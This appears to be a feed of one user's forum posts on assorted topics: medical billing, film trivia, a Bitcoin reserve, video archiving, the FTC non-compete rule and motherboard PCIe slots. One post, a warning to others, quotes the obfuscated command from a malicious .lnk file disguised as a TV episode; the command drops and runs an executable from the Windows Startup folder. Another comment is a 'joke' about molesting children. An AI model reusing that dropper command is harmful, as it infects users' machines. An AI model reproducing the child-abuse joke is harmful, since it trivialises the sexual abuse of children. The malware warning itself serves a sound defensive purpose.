Exactly. Windham isn't going to do anything until you make it inconvenient for them to ignore you. Do whatever you can think of to be a nuisance with the information they send you.

Christians, imagine there are 365 Atheist children in front of you. God himself comes down and says you're only allowed to molest one of them each day, for an entire year. If you molest more than one in a single day, you will go to hell and the rapture begins without you. What do you do?

Not when the lab and the hospital are owned by the same company. Promedica (local hospital) sent my sample to Promedica (lab) and I got a bill from the lab. Because Promedica (lab) didn't have my insurance information.

From what I heard: There was a sequence where the team had to sleep in a haunted mansion (for whatever reason) and Dan Aykroyd insisted on having a ghost come in and blow him. And when they cut the entire scene, he insisted on keeping that part as a dream.

Fun Fact: in the original script, Winston was ex-Army/Marine and an important member of the team. But instead they just made him some unemployed schlub because he was black and it was the 80s.

I would argue that one is driving much better than one in self-driving mode, because it can remain on course.

If it was exactly 2 people would think you were falsifying results.

House Resolution 353, submitted April 28. It will have to be amended because it doesn't say anything about War Powers.

Malware Warning on video files (midwest.social)
 

I have Sonarr and Radarr set up to keep me up to date on some TV shows. Lately I've gotten a handful of files that Sonarr refuses to import because of a .lnk file. The download consists of a folder with the name of the file I want. Inside the folder is a file with the same name, and a .lnk extension. The .lnk file is very big (950Mb), and programmed to run this script:

%ComSpec% /v:On/CSET el=Severance.S02E07.1080p.WEB.H264-SuccessfulCrab.mkv&SET c="%Appdata%\microsoft\windows\START MENU\PROGRAMS\STARTUP%Username%.exe"&(If not exist !c! Findstr/v "cmd.EXE Rj%TIME:~7,1%%TIME:~-2%" !el!.Lnk>!c!&Start "" !c!)&CD %tmp%&Echo.>!

As far as I can tell, this creates an empty executable file in your Windows startup folder, and copies a portion of the fake video file into it. It then runs the malware. And, since it's in your startup folder, it will run again every time you reboot.

The tracker is theRARBG, but it could also come from elsewhere. I've found it on a couple of different shows (not just this one), and they always download a couple of days before the airdate.

Be careful!

Are there any honest benefits to a Federal Strategic Bitcoin Reserve? (midwest.social)
 

I can't think of any. The current oil reserve is supposed to be used in the case of another oil embargo. But its actual use is to lower gas prices when the administration in power needs a political win.

I actually think the purpose of a Bitcoin reserve is to temporarily increase the price so tech-bros (re: Elon) can sell at a massive profit. Then buy back at a much lower price. It's just a way to indirectly transfer federal dollars into administration pockets.

I can't find any reason for the government to buy crypto and hold it in reserve.

Are the MST3K streams on Youtube worth ripping? (midwest.social)
 

I've seen a lot of official MST3K (Mystery Science Theater 3000, ya boob) getting streamed on Youtube. I have a lot of these already from quite a while ago, sourced from various places. Some from my own DVD rips (thanks Netflix), downloaded DVD rips, and a small amount of "lost" content coming from VHS rips off broadcast.

Are the Youtube streams worth archiving? I was specifically looking at a livestream for Season 1 that "includes lost host segments". I was going to download it through Newpipe, but I didn't see the option on this stream (granted, I didn't look too deeply).

Are these streams worth the time if I already have the episodes? Have they been cleaned-up in any way?

FTC Non-compete rule published in Federal Register (www.govinfo.gov)
 

This goes into effect September 4, 2024. Employers with existing non-compete agreements must post the notice on page 163 (38504). After that date you may accept a job offer from anybody, including a direct competitor, and not worry about violating any non-compete agreement.

PCIe slots and compatibility (www.msi.com)
 

I recently bought this motherboard, based on descriptions on pcpartpicker.com and B&H's website. Both sites claim the board has 5 PCIe x16 slots (2x version 4, and 3x version 3). But I have the board in front of me, and while it certainly has full length slots, most of the pins are missing in all but one of them. Closer examination of the MSI website has this to say:

  • 5x PCI-E x16 slot

  • PCI_E1 Gen PCIe 4.0 supports up to x16 (From CPU)

  • PCI_E2 Gen PCIe 3.0 supports up to x1 (From Chipset)

  • PCI_E3 Gen PCIe 4.0 supports up to x4 (From Chipset)

  • PCI_E4 Gen PCIe 3.0 supports up to x1 (From Chipset)

  • PCI_E5 Gen PCIe 3.0 supports up to x1 (From Chipset)

Have I been swindled? Am I just stupid or ignorant?
